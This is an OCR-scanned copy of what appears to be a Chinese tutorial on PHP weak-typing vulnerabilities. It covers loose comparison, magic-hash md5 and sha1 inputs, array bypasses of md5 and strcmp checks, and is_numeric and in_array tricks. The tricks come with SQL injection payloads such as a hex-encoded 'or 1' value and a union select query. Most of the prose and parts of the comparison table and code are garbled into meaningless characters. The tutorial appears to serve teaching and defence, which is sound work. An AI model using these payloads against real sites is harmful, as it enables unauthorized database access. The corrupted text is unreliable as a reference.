ox01 B

PHP B—IJ553RB4ES |

TEREL,

§5RBILER , B—MUREERERE

i) PHP A=A

 AEMAFRFER , AA—EE, RAR

ZREREIERE , PHP 2IRIERENE , BNBRERIRNIEIHIIEL

TEMSENRETEESF

<?php
var_dump(null ==false); //bool(true)
var_dump('aa'==0); //bool(true)
?>
RS ==

TRUE FALSE 1 0 -1 e "g" nqm NULL  array{) ‘“php" ™
TRUE TRUE FALSE TRUE FALSE TRUE TRUE FALSE TRUE FALSE FALSE  TRUE FALSE
FALSE FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE TRUE TRUE FALSE TRUE
1 TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE  FALSE
0 FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE TRUE FALSE TRUE TRUE
=1 TRUE FALSE  FALSE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE
b i TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE  FALSE
b FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE
e TRUE FALSE FALSE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE
NULL FALSE TRUE FALSE TRUE FALSE FALSE  FALSE FALSE TRUE TRUE FALSE TRUE
nrmy{,'l FALSE TRUE FALSE FALSE FALSE FALSE  FALSE FALSE TRUE TRUE FALSE  FALSE
"php" TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE
i FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE FALSE F”'%op s_mg'un. org

0x02 Magic Hash

PHPTEAMENSFH = RTERAT
FRE , e

XMEAHASEE.

"0e132456789"==

SFFN="g=="5exd
R AR AR SR,

"0e7124511451155" //true

"O0el23456abc"=="0eldddada" //false
//true

lloelabcn==n0n

AR EHITIVR , TEHTILBOEERT , (NERIBEI T Oe\d+ iXfh
FrLA EEfFIF 2 MNEHYEERR 0 BmsiiEE 7. WNERAHE Oe\d+

SE5EZE |« http//www.freebuf.com/news/67007.html http://www.cnblogs.com/Primzahl/p/6018158.html

HHpayload:


af://n0
af://n6
http://www.freebuf.com/news/67007.html
http://www.cnblogs.com/Primzahl/p/6018158.html

0x01 md5(str)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

0x02 shal(str)
shal('aarozmok')
shal('aaklsTfy')
shal('aa08zKzF')
shal('aa30FF9m')

MDSAEELLIEERAE | HRLITHMIN A FAEAsT:

if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
//http://127.0.0.1/test.php?a[]=1&b[]=2//$_GET: array(2) { ["a"]l=> array(l) { [0]=>
string(1l) "1" } ["b"]=> array(1l) { [0]=> string(1l) "2" } }

0x03 55RBIREN
BTSSR EUHITHURLLER | JMREBEMNRELE , SEERESURHNTIRHAR , AJREFERKNZ 2K,
TEFHANEILNSERERRE
(is_numeric()]
is_numeric() IS EERENEFHEFFRIR. MR 2EFNEFFRBMIRE TRUE , BRURE] FALSE,

BTSRRI IF 7 HFIOXIE | W& Bpayloademt7#HHI0x , is_numeric5Exd+7 s HfHE
BUSINT , +7SABARFIRTAEFE , AE , SUEANT EMHFES , IRBIEXMNHENSgHEDH N mMysqIEWERE |
mysqIEIRESIThexit TR FERIEFAZIEUREF , NRXNFERBFRBER XA | siageSsxE
A. XSSEZLIFE.

<?php

$type= is_numeric($_GET['id'])?$_GET['id']:0;
$sql="1insert into test(id,type)values(l,$type);";
echo $sql;

?>

11 or 1" &9 1 635 0x31206f722031 FHSEEVE |, HEURENT , HEER


af://n14

mysgl> insert into test{id.typedvalues<l . Bx31206F722031>;
Query 0K, 1 row affected (B.85 sec?

mysgl> select type from test;

row in set (B.BA sec)

MNERBEREAXNENFZERHEE , MOTEFEANS—INSQUES , BERRIREN.
[in_array()]
in_array() REUEREEA+H EEFTIEENE.

<?php
if (in_array($_GET['id'],array(1,2,3,4)))
{
$sql="select * from admin where id ="".$_GET['id']."'";
}
echo $sql;
7>
//383% : ?1d=1" union select 1,2,3,4%23
//ER  select * from admin where id ='1"' union select 1,2,3,4#'

in_attay(EREUMLLER 2B , Bshifissiligin , NIt |, SRdiaE.
[strcmp()]

stremp() BRERECEFRNRFER | JN5R str1 T str2 IRE < 0 ; 308 str1 KT str2 jRE > 0 ; MRAEEE | R
8] 0,

TSN SEUTE IR stringSREY
SECREEBAF AT ERAYRTR | IR[EIZ0

WNRSEARstringzREY |, HiFreturn

<?php
$id=$_GET['id'];
if (strcmp('test',$id)) {
echo 'YES!';
} else{
echo 'NO!'';
3
7>
//8%  ?7id[]=
//EER : YES

RNXFFRIRELE B switch()



MXNERBESEFMEBMNTARRS L, WBSAAAAEFHRAILNRS —ELXE— T, FEIRIESEE.
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